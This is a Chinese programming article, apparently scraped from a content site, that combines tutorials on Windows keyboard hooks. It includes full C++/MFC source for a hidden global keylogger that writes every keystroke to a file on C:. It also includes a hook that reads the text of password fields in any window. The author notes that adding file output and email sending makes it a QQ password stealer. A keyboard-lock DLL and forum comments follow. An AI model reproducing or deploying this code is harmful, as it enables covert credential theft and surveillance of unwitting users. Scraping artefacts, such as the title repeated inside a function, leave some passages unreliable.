用键盘钩子编写windows动作记录 易语言键盘钩子

一、引言
我们可以在应用程序中毫不费力的捕获在本程序窗口上所进行的键盘操作,但如果我们想要将此程序作成一个监控程序,捕获在Windows平台下任意窗口上的键盘操作,就需要借助于全局钩子来实现了。
二、系统钩子和DLL
钩子的本质是一段用以处理系统消息的程序,通过系统调用,将其挂入系统。钩子的种类有很多,每种钩子可以截获并处理相应的消息,每当特定的消息发出,在到达目的窗口之前,钩子程序先行截获该消息、得到对此消息的控制权。此时在钩子函数中就可以对截获的消息进行加工处理,甚至可以强制结束消息的传递。
在本程序中我们需要捕获在任意窗口上的键盘输入,这就需要采用全局钩子以便拦截整个系统的消息,而全局钩子函数必须以DLL(动态连接库)为载体进行封装,VC6中有三种形式的MFC DLL可供选择,即Regular statically linked to MFC DLL(标准静态链接MFCDLL)、Regular using the shared MFC DLL(标准动态链接MFC DLL)以及Extension MFCDLL(扩展MFC DLL)。 在本程序中为方便起见采用了标准静态连接MFC DLL。
三、键盘钩子程序示例
本示例程序用到全局钩子函数,程序分两部分:可执行程序KeyHook和动态连接库LaunchDLL。
1、首先编制MFC扩展动态连接库LaunchDLL.dll:
(1)选择MFC AppWizard(DLL)创建项目LaunchDLL;在接下来的选项中选择Regular staticallylinked to MFC DLL(标准静态链接MFC DLL)。
(2)在LaunchDLL.h中添加宏定义和待导出函数的声明:
#define DllExport __declspec(dllexport)
……
DllExport void WINAPI InstallLaunchEv();
……
class CLaunchDLLApp : public CWinApp
{
public:
CLaunchDLLApp();

//{{AFX_VIRTUAL(CLaunchDLLApp)
//}}AFX_VIRTUAL

//{{AFX_MSG(CLaunchDLLApp)
// NOTE - the ClassWizard will add and remove member functionshere.
// DO NOT EDIT what you see in these blocks of generated code!
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
(3)在LaunchDLL.cpp中添加全局变量Hook和全局函数LauncherHook、SaveLog:
HHOOK Hook;
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAMlParam);
void SaveLog(char* c);
(4)完成以上提到的这几个函数的实现部分:
……
CLaunchDLLApp theApp;
……
DllExport void WINAPI InstallLaunchEv()
{
Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,
(HOOKPROC)LauncherHook,
theApp.m_hInstance,
0);
}
在此我们实现了Windows的系统钩子的安装,首先要调用SDK中的API函数SetWindowsHookEx来安装这个钩子函数,其原型是:
HHOOK SetWindowsHookEx(int idHook,
HOOKPROC lpfn,
HINSTANCE hMod,
DWORD dwThreadId);
其中,第一个参数指定钩子的类型,常用的有WH_MOUSE、WH_KEYBOARD、WH_GETMESSAGE等,在此我们只关心键盘操作所以设定为WH_KEYBOARD;第二个参数标识钩子函数的入口地址,当钩子钩到任何消息后便调用这个函数,即当不管系统的哪个窗口有键盘输入马上会引起LauncherHook的动作;第三个参数是钩子函数所在模块的句柄,我们可以很简单的设定其为本应用程序的实例句柄;最后一个参数是钩子相关函数的ID用以指定想让钩子去钩哪个线程,为0时则拦截整个系统的消息,在本程序中钩子需要为全局钩子,故设定为0。
……
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAMlParam)
{
LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
if(nCode==HC_ACTION)
{
if(lParam & 0x80000000)
{
char c[1];
c[0]=wParam;
SaveLog(c);
}
}
return Result;
}
虽然调用CallNextHookEx()是可选的,但调用此函数的习惯是很值得推荐的;否则的话,其他安装了钩子的应用程序将不会接收到钩子的通知而且还有可能产生不正确的结果,所以我们应尽量调用该函数除非绝对需要阻止其他程序获取通知。
……
void SaveLog(char* c)
{
CTime tm=CTime::GetCurrentTime();
CString name;
name.Format("c:\Key_%d_%d.log",tm.GetMonth(),tm.GetDay());
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,1);
file.Close();
}
当有键弹起的时候就通过此函数将刚弹起的键保存到记录文件中从而实现对键盘进行监控记录的目的。
编译完成便可得到运行时所需的键盘钩子的动态连接库LaunchDLL.dll和进行静态链接时用到的LaunchDLL.lib。
2、下面开始编写调用此动态连接库的主程序,并实现最后的集成:
(1)用MFC的AppWizard(EXE)创建项目KeyHook;
(2)选择单文档,其余几步可均为确省;
(3)把LaunchDLL.h和LaunchDLL.lib复制到KeyHook工程目录中,LaunchDLL.dll复制到Debug目录下。
(4)链接DLL库,即在"Project","Settings…"的"Link"属性页内,在"Object/librarymodules:"中填入"LaunchDLL.lib"。再通过"Project","Add ToProject","Files…"将LaunchDLL.h添加到工程中来,最后在视类的源文件KeyHook.cpp中加入对其的引用:
#include "LaunchDLL.h"
这样我们就可以象使用本工程内的 函数一样使用动态连接库LaunchDLL.dll中的所有导出函数了。
(5)在视类中添加虚函数OnInitialUpdate(),并添加代码完成对键盘钩子的安装:
……
InstallLaunchEv();
……
(6)到此为止其实已经完成了所有的功能,但作为一个后台监控软件,运行时并不希望有界面,可以在应用程序类CkeyHookApp的InitInstance()函数中将m_pMainWnd->ShowWindow(SW_SHOW);改为m_pMainWnd->ShowWindow(SW_HIDE);即可。
四、运行与检测
编译运行程序,运行起来之后并无什么现象,但通过Alt+Ctrl+Del在关闭程序对话框内可以找到我们刚编写完毕的程序"KeyHook",随便在什么程序中通过键盘输入字符,然后打开记录文件,我们会发现:通过键盘钩子,我们刚才输入的字符都被记录到记录文件中了。
小结:系统钩子具有相当强大的功能,通过这种技术可以对几乎所有的Windows系统消息进行拦截、监视、处理。这种技术广泛应用于各种自动监控系统中。
钩子能截获系统并得理发送给其它应用程序的消息,能完成一般程序无法完成的功能。掌握钩子的编程方法是很有必要的

钩子分类 :
1、WH_CALLWNDPROC和WH_CALLWNDPROCRET: 使你可以监视发送到窗口过程的消息
3、WH_DEBUG 调试钩子
4、WH_FOREGROUNDIDLE 当当应用程序的前台线程大概要变成空闲状态时,系统就会调用WH_FOREGROUNDIDL
5、WH_JOURNALRECORD 监视和记录输入事件
6、WH_JOURNALPLAYBACK 回放用WH_JOURNALRECORD记录事件
7、WH_KEYBOARD 键盘钩子
9、WH_KEYBOARD_LL 低层键盘钩子
10、WH_MOUSE 鼠标钩子
11、WH_MOUSE_LL 底层鼠标钩子
12、WH_SHELL 外壳钩子
13、WH_MSGFILTER 和 WH_SYSMSGFILTER 使我们可以监视菜单,滚动条,消息框等

安装钩子:
  调用函数SetWindowsHookEx安装钩子。其函数原型为:
HHOOK SetWindowsHookEx( int idHook,HOOKPROC lpfn, INSTANCEhMod,DWORD dwThreadId )
idHook表示钩子类型,它是和钩子函数类型一一对应的。如,WH_KEYBOARD,WH_MOUSE。
Lpfn是钩子函数的地址。
HMod是钩子函数所在的实例的句柄。对于线程钩子,该参数为NULL;对于系统钩子,该参数为钩子函数所在的DLL句柄。(系统钩子必须在DLL中)
   dwThreadId 指定钩子所监视的线程的线程号。对于全局钩子,该参数为NULL。
   SetWindowsHookEx返回所安装的钩子句柄。

卸载钩子
   调用函数 BOOL UnhookWindowsHookEx( HHOOK hhk)卸载钩子

定义钩子函数
  钩子函数是一种特殊的回调函数。钩子监视的特定事件发生后,系统会调用钩子函数进行处理。一般为下:
LRESULT WINAPI MyHookProc(int nCode ,WPARAM wParam,LPARAMlParam)
参数wParam和lParam包含所钩消息的信息,比如鼠标位置、状态,键盘按键等。nCode包含有关消息本身的信,比如是否从消息队列中移出。

实例:
下面我们通过安装鼠标钩子。和键盘钩子还截获输入的密码,并可查看*密码为例,来说明何何使用钩子。

1,进入向导,新建MFC AppWizard(dll) 取名为GetPass,选择MFC ExtensionDLL,完成。
2,新建一个CGetPassHook 类,基类:CObject,并加入StartHook,StopHook,函数,如下:
class AFX_EXT_CLASS CGetPassHook : public CObject
{
public:
BOOL StopHook();
BOOL StartHook(HWND hwnd);

CGetPassHook();
virtual ~CGetPassHook();

};
3:加入全局共享数据,如下:
#pragma data_seg("ShareData")
HHOOK hKeyBoardHook=NULL; //keyboard hook
HHOOK hMouseHook=NULL; //mouse hook
HINSTANCE glhInstance=NULL; //globle instance
HWND hOutPutWnd=NULL; //Display Pass Wnd
#pragma data_seg()

4:加入鼠标,键盘钩子处理函数,如下:
LRESULT WINAPI MouseHookProc(int nCode,WPARAM wParam ,LPARAMlParam)
{ //鼠标钩子得理函数
LPMOUSEHOOKSTRUCT lpMouse=(MOUSEHOOKSTRUCT FAR*)lParam;
if(nCode>=0)
{
HWND hTargetHwnd=lpMouse->hwnd; //得到鼠标所在窗口句柄
if(hTargetHwnd)
{
LONG style=::GetWindowLong(hTargetHwnd,GWL_STYLE); //得到它的样式
if(style&ES_PASSWORD) //如果是密码框
{
char szPass[255];
::SendMessage(hTargetHwnd,WM_GETTEXT,255,(LPARAM)szPass);
//得到密码
::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass);
//显示密码
}
}
}

return CallNextHookEx(hMouseHook,nCode,wParam,lParam);
//加上这句,就可以继续传递消息,如果没有,则会取消此消息的传递,
//可以起到截儿消息的目的,我们这里调用之。
}

LRESULT WINAPI KeyBoardProc(int nCode,WPARAM wParam,LPARAMlParam)
{ //keyboard hook proc

if(nCode>=0)
{
HWND hTargetHwnd=GetActiveWindow(); //get active window
if(hTargetHwnd)
EnumChildWindows(hTargetHwnd,EnumWndProc,0); //枚举所有窗口
}

return CallNextHookEx(hKeyBoardHook,nCode,wParam,lParam);
//加上这句,就可以继续传递消息,如果没有,则会取消此消息的传递,
//可以起到截儿消息的目的,我们这里调用之。
}

这里要介绍下EnumChildWindows函数,原形如下:
BOOL EnumChildWindows(HWND hWndParent,WINDENUMPROClpEnumFunc,LPARAM lParam);
hWndParent:为枚举窗口的句柄
lpEnumFunc:枚举函数的地址,
lParam:这里为0

5:加入枚举窗口的函数。如下:(注意,因为前面的函数据要用到此函数,所以要么在前面声明,要么放在上面函数之前定义。

BOOL WINAPI EnumWndProc(HWND hwnd,LPARAM lParam)
{ //enum the child window,find passedit
if(hwnd)
{
LONG style=::GetWindowLong(hwnd,GWL_STYLE); //得到STYLE
if(style&ES_PASSWORD) //是密码框
{
char szPass[255];
::SendMessage(hwnd,WM_GETTEXT,255,(LPARAM)szPass); //得到PASS
::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass); //显示
return TRUE;
}
}

return TRUE;
}

6:在DEF文件中定义段属性: (这步很重要)
  SECTIONS
  mydata READ WRITE SHARED

7:完成StartHook,StopHook函数,启动/关闭钩子,如下:
BOOL CGetPassHook::StartHook(HWND hwnd)
{ //install hoook
hMouseHook=SetWindowsHookEx(WH_MOUSE,MouseHookProc,glhInstance,0);
//mouse hook
hKeyBoardHook=SetWindowsHookEx(WH_KEYBOARD,KeyBoardProc,glhInstance,0);
//keyboard hook
if(hMouseHook&&hKeyBoardHook)
{
hOutPutWnd=hwnd; //显示密码的句柄
return TRUE;
}
return FALSE;
}

BOOL CGetPassHook::StopHook()
{ //unstall hook
BOOL mHook=UnhookWindowsHookEx(hMouseHook);
BOOL kHook=UnhookWindowsHookEx(hKeyBoardHook);
if(mHook&&kHook)
return TRUE;
return FALSE;
}

8:在DLLMAIN函数中得到DLL句柄,要用到glhInstance变量,因此要加入一句,如下:
extern HINSTANCE glhInstance; //记得这里
extern "C" int APIENTRY
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOIDlpReserved)
{
UNREFERENCED_PARAMETER(lpReserved);
if (dwReason == DLL_PROCESS_ATTACH)
{
TRACE0("GETPASS.DLL Initializing!n");

if (!AfxInitExtensionModule(GetPassDLL, hInstance))
return 0;
new CDynLinkLibrary(GetPassDLL);
glhInstance=hInstance; //得到句柄
}
else if (dwReason == DLL_PROCESS_DETACH)
{
TRACE0("GETPASS.DLL Terminating!n");
AfxTermExtensionModule(GetPassDLL);
}
return 1; // ok
}

9:编译,完成DLL部分,

下面建立APP部分。如下:

1:新建MFC AppWizard(exe)命名为GetPassWord,并在第一步中选择Add to CurrentWorkSpace加入到当前工作区,这样方便。

2:将刚才的DLL中的GetPass.lib,和GetPassHook.h拷贝APP所在目录,然后Project->Addto Project-->Files
选择这两个文件。

2:在主对话框中,加入一个EDIT,ID 为IDC_EDIT_PASS

3:在CGetPassWordDlg.h中包含GetPassHook.h文件,声明一个对象。如下:

#include "GetPassHook.h"
class CGetPassWordDlg : public CDialog
{
protected:
CGetPassHook m_hook;
。。。
DECLARE_MESSAGE_MAP()
};

4:在实现文件中:OnInitDialog()中起动HOOK

BOOL CGetPassWordDlg::OnInitDialog()
{
CWnd *pWnd=GetDlgItem(IDC_EDIT_PASS);
m_hook.StartHook(pWnd->GetSafeHwnd()); //installhook

return TRUE; // return TRUE unless you set the focus to acontrol
}

5:加入WM_DESTROY消息,在退出程序时停止HOOK,如下:
void CGetPassWordDlg::OnDestroy()
{
CDialog::OnDestroy();
m_hook.StopHook(); //stop hook
}

6:将GetPass.dll拷贝到。EXE一个目录下,

7:编译,运行.
这样,你在输入任何密码框输入密码时,密码都将截获。就算键盘HOOK失效,移动鼠标到密码框,也都获取*号密码,因为我们安装两个HOOK。启动QQ,输入密码,试下看是否已经截获了密码?将本程序稍做修改,将截获的密码输出到文件,并加入发送邮件攻能,一个QQ盗号器就做成了。
不知道大家是通过什么开始对钩子(Hook)有了解的,我是看过Jeffrey Richter的《WINDOWS高级编程指南》(新版的中文译名为《Windows核心编程》)。在这本书里作者介绍了三种将代码注入其他进程的方法,其中一种就是使用的全局消息钩子。我就是从这本书里对全局钩子有了最初的认识。
大家应该都知道,全局消息钩子要依赖于一个DLL才能够正常工作。于是呢,我也就理所当在地认为全局钩子都要依赖于一个DLL才能正常工作的,我想大部分人肯定和我一样也这么认为的。
但实际上不是这样的。有某些全局钩子可以不依赖于任何DLL而正常工作的。这些钩子包括,WH_JOURNALPLAYBACK,WH_JOURNALRECORD,WH_KEYBOARD_LL,WH_MOUSE_LL。为什么这些钩子可以不依赖于DLL而正常工作呢?我们可以从MSDN中得到答案,MSDN中对于这四种钩子都这样的描述“Thishook is called———— in the context of the thread that installedit.”,翻译成中文意思是钩子函数的调用是在安装钩子的线程上下文中进行的,说得更明白些,意思就是这些钩子是在哪个线程当中安装的,其钩子函数就在哪个线程中执行。所以使用这四种钩子是达不到代码注入的效果的,当然也就可以不依赖于任何DLL了。MSDN中只对个别钩子指出了必须还是没有必要使用DLL。
下面是我给出的一个底层键盘钩子的代码示例,当然是不需要DLL的。

#define _WIN32_WINNT
0400
#define STRICT
#define WIN32_LEAN_AND_MEAN

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

DWORD
g_main_tid
= 0;
HHOOK
g_kb_hook
= 0;

BOOL CALLBACK con_handler (DWORD)

{

PostThreadMessage (g_main_tid, WM_QUIT, 0, 0);

return TRUE;

};

LRESULT CALLBACK kb_proc (int code, WPARAM w, LPARAM l)

{

PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)l;

const char *info = NULL;

if (w == WM_KEYDOWN)

info = "key dn";

else if (w == WM_KEYUP)

info = "key up";

else if (w == WM_SYSKEYDOWN)

info = "sys key dn";

else if (w == WM_SYSKEYUP)

info = "sys key up";


printf ("%s - vkCode [x], scanCode [x]n",

info, p->vkCode, p->scanCode);

//
always call next hook

return CallNextHookEx (g_kb_hook, code, w, l);


};

int main (void)

{

g_main_tid = GetCurrentThreadId ();

SetConsoleCtrlHandler (&con_handler, TRUE);


g_kb_hook = SetWindowsHookEx (

WH_KEYBOARD_LL,

&kb_proc,

GetModuleHandle (NULL), // 不能为NULL,否则失败

0);


if (g_kb_hook == NULL)


{

fprintf (stderr,

"SetWindowsHookEx failed with error %dn",

::GetLastError ());

return 0;

};


//
消息循环是必须的,想知道原因可以查msdn


MSG msg;

while (GetMessage (&msg, NULL, 0, 0))

{

TranslateMessage (&msg);

DispatchMessage (&msg);

};

UnhookWindowsHookEx (g_kb_hook);

return 0;

};

下面的文章是介绍将钩子处理函数放在DLL中实现全局钩子
-----------------------------------
给DLL初学者——全程键盘钩子的一种简单实现
作者:未知 来源:从互联网收集整理并转载 发布时间:2005-3-6 0:49:30

随着中间件技术的发展,DLL越来越为程序员所关注,因为使用DLL具有一系列优点,所以程序设计人员可能更多的在自己的软件中采用这种技术。
下面我就把以前做过的一个简单的全程键盘钩子分析一下。
钩子[以下简称Hook]是应用程序在Microsoft Windows消息处理过程中设置的用来监控消息流并且处理系统中尚未到达目的窗口的某一类型消息过程的机制。如果Hook过程在应用程序中实现,若应用程序不是当前窗口时,该Hook就不起作用;如果Hook在DLL中实现,程序在运行中动态调用它,它能实时对系统进行监控。根据需要,我们采用的是在DLL中实现Hook的方式[关于HOOK更详细的资料请查阅资料]。
在VC中新建一Win32 Dynamic-Link Library工程,工程名为KBLock。AppWizard会生成相关文件,编译生成的KBLock.cpp:
#include "stdafx.h"
#include "KBLock.h"

HHOOKhhkHook=NULL;//定义钩子句柄
HINSTANCEhInstance=NULL;//程序实例

//下面的DLLMain相当于Win32程序中的WinMain函数,是入口点
BOOL APIENTRY DllMain( HANDLE hModule,
DWORDul_reason_for_call,
LPVOIDlpReserved
)
{
switch(ul_reason_for_call)
{
caseDLL_PROCESS_ATTACH:
caseDLL_THREAD_ATTACH:
caseDLL_THREAD_DETACH:
caseDLL_PROCESS_DETACH:
break;
}
hInstance=(HINSTANCE)hModule;//得到DLL实例
returnTRUE;
}

//这是处理键盘消息的主要函数,在其中进行禁止操作
LRESULT CALLBACK HookProc(int nCode,WPARAM wParam,LPARAMlParam)
{
if(nCode < 0)
{
returnCallNextHookEx(hhkHook,nCode,wParam,lParam);
}
if(nCode != HC_ACTION)
{
returnCallNextHookEx(hhkHook,nCode,wParam,lParam);
}

//给出提示:键盘已经被锁定,要进行判断,看是否已有提示窗口,否则会弹个没完
if(!::FindWindow(0, "KeyBoard Locked"))
{
::MessageBox(0,"键盘已经锁定!!!","KeyBoardLocked",MB_OK);
}
return1;//没有returnCallNextHookEx(hhkHook,nCode,wParam,lParam)则不会把消息//传递下去,所以我们的键盘就不起作用了
}
// This is an example of an exported variable
//导出函数:启动键盘锁定
BOOL EnableKeyboardCapture()
{
if(!(hhkHook=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)HookProc,hInstance,0)))
returnFALSE;
returnTRUE;
}
//导出函数:解除键盘锁定
BOOL DisableKeyboardCapture()
{
returnUnhookWindowsHookEx(hhkHook);
}

上面就是DLL中最重要的代码,当然要使DLL能正常工作还要编辑KBLock.h文件:
__declspec(dllexport) BOOLEnableKeyboardCapture();//加载钩子
__declspec(dllexport) BOOLDisableKeyboardCapture();//卸载钩子
再编辑KBLock.def
; KBLock.def : Declares the module parameters for the DLL.

LIBRARY"KBLock"
DESCRIPTION 'KBLock Windows Dynamic Link Library'

EXPORTS
;Explicit exports can go here

EnableKeyboardCapture @1
DisableKeyboardCapture @2

这样我们用Depends.exe查看这个DLL时,就会发现这两个导出函数了。

DLL方面的工作已经完成,这样我们就可以在程序中调用它了。
虽然DLL是由VC开发的,但调用它的前台程序可以用任何其它支持DLL调用的语言如:VB、VC、DELPHI、Win32asm实现,下面还是以VC为例,实现DLL的调用。
建一基于Dialog的工程,在其中加入两个按钮:“Lock KeyBoard”“UnLock”
在CexeDlg类中加入一个成员函数:

BOOL CExeDlg::KBLock(BOOL sign)
{
hDLL=::LoadLibrary((LPCTSTR)"KBLock");//加载DLL
if(hDLL!=NULL)
{loadhook=(LOADHOOK)::GetProcAddress(hDLL,"EnableKeyboardCapture");
unloadhook=(UNLOADHOOK)::GetProcAddress(hDLL,"DisableKeyboardCapture");

if(loadhook==NULL||unloadhook==NULL)
{::MessageBox(0,"对不起,本功能不能使用!!!","SomthingWrong",MB_OK);
return0;
}
if(sign)
用键盘钩子编写windows动作记录 易语言键盘钩子
loadhook();
else
{
unloadhook();
::FreeLibrary(hDLL);
}
return1;
}
::MessageBox(0,"动态库加载失败!!!","SomthingWrong",MB_OK);
return0;
}

其中用到了事先定义好的全局变量:
typedef BOOL (CALLBACK *LOADHOOK)();
typedef BOOL (CALLBACK *UNLOADHOOK)();
HINSTANCE hDLL=NULL;
LOADHOOK loadhook;
UNLOADHOOK unloadhook;


这样我们在两个按钮中分别加入KBLock(TRUE); 和 KBLock(FALSE);即可。

------

全局钩子的一定要用DLL吗?

[url=]4楼[/url]kugou123(酷狗)(彪悍的人生,不需要解释www.xiaozhou.net)回复于 2004-07-11 23:17:04 得分 0

钩子分为全局钩子和局部钩子。
如果你只HOOK本进程得消息,可以把消息回调函数和调用钩子的函数写在一起,也就是只需要写个EXE就可以了。
如果要HOOK全局消息,需要全局钩子,这样,需要把你的HOOK代码注入到系统每个进程里面去。而实现这个最好的方法,就是用DLL来实现。系统会自动把该DLL注入到所有的进程空间中。所以,不一定是必须要写DLL来HOOK,看你用的范围来决定!!!

--
[url=]26 楼[/url]codewarrior(会思考的草) 回复于 2005-02-09 16:01:12 得分0
这要从头说起,在98下,内存划分为高2G和低2G,这两部分的作用就不用我罗嗦了吧,基本上和2k是差不多的。但是,有一个区别,对于dll,9x可能出于效率的考虑,把它装在高2G,这样可以在多个进程之间共享代码,所以像那3个著名的dll,都是在高2G里,所有进程使用同一份拷贝。这就使得全局apihook比较方便,只要把dll加载到高2G,用一个简单的jmp在api入口的地方跳到我们的hookdll里面,处理完了再跳回去即可。之所以做成dll,是因为dll可以方便地加载于高2G的地址空间,现在你明白了?只要能把一个模块加载到高2G的空间去,不一定要做成dll。
但是同样的情况在2K下不再成立,dll装载于低2G中,即使是user32.dll这样的系统dll,也是每个进程有一个拷贝,所以你即使修改了本进程的dll,也不能影响到其他进程,要完成全局hook,就必须要将我们的hookdll自动加载到系统中每个进程当中去,对于将来运行的进程,也必须要自动加载才行,注册表中有一个表项,可以指定一个dll在每个进程启动的时候都必须自动加载,这样对于完成apihook稍微方便一点:)

  

爱华网本文地址 » http://www.aihuau.com/a/25101016/303307.html

更多阅读

易语言让进度条动起来怎么写 易语言进度条怎么用

易语言让进度条动起来怎么写——简介最近在写一个下载工具,需要获取下载进度,也就是需要使进度条动起来,然而到底如何才能使进度条动起来呢?这里分享一下!易语言让进度条动起来怎么写——方法/步骤易语言

易语言进度条源码 精易论坛

易语言进度条源码——简介今天,我给大家带来如何弄进度条!易语言进度条源码——工具/原料电脑易语言易语言进度条源码——方法/步骤易语言进度条源码 1、打开易语言!拉

怎么用键盘复制粘贴 电脑怎么复制粘贴文字

怎么用键盘复制粘贴——简介其实鼠标操作都可以用键盘实现(甚至鼠标的移动都可以用键盘实现只不过比较笨拙)但是键盘快捷键却能让你的操作更加快捷,下面来介绍键盘复制粘贴的一些作用。怎么用键盘复制粘贴——方法/步骤怎么用键盘复制

盘口语言大全(下 易语言命令大全下载

附:特殊尾盘处理:a.如果尾盘多方大力上攻,攻势太猛的状况下修正反弹,但临时又被空头故意打压,使大盘收于最低点,次以平开或低开方式开盘,仍是一个下跌走势;b.如果尾盘形成明显趋势,而且最后十分钟放量上涨,说明短线资金入市,次日应以高开方式开盘后

声明:《用键盘钩子编写windows动作记录 易语言键盘钩子》为网友情场稳手分享!如侵犯到您的合法权益请联系我们删除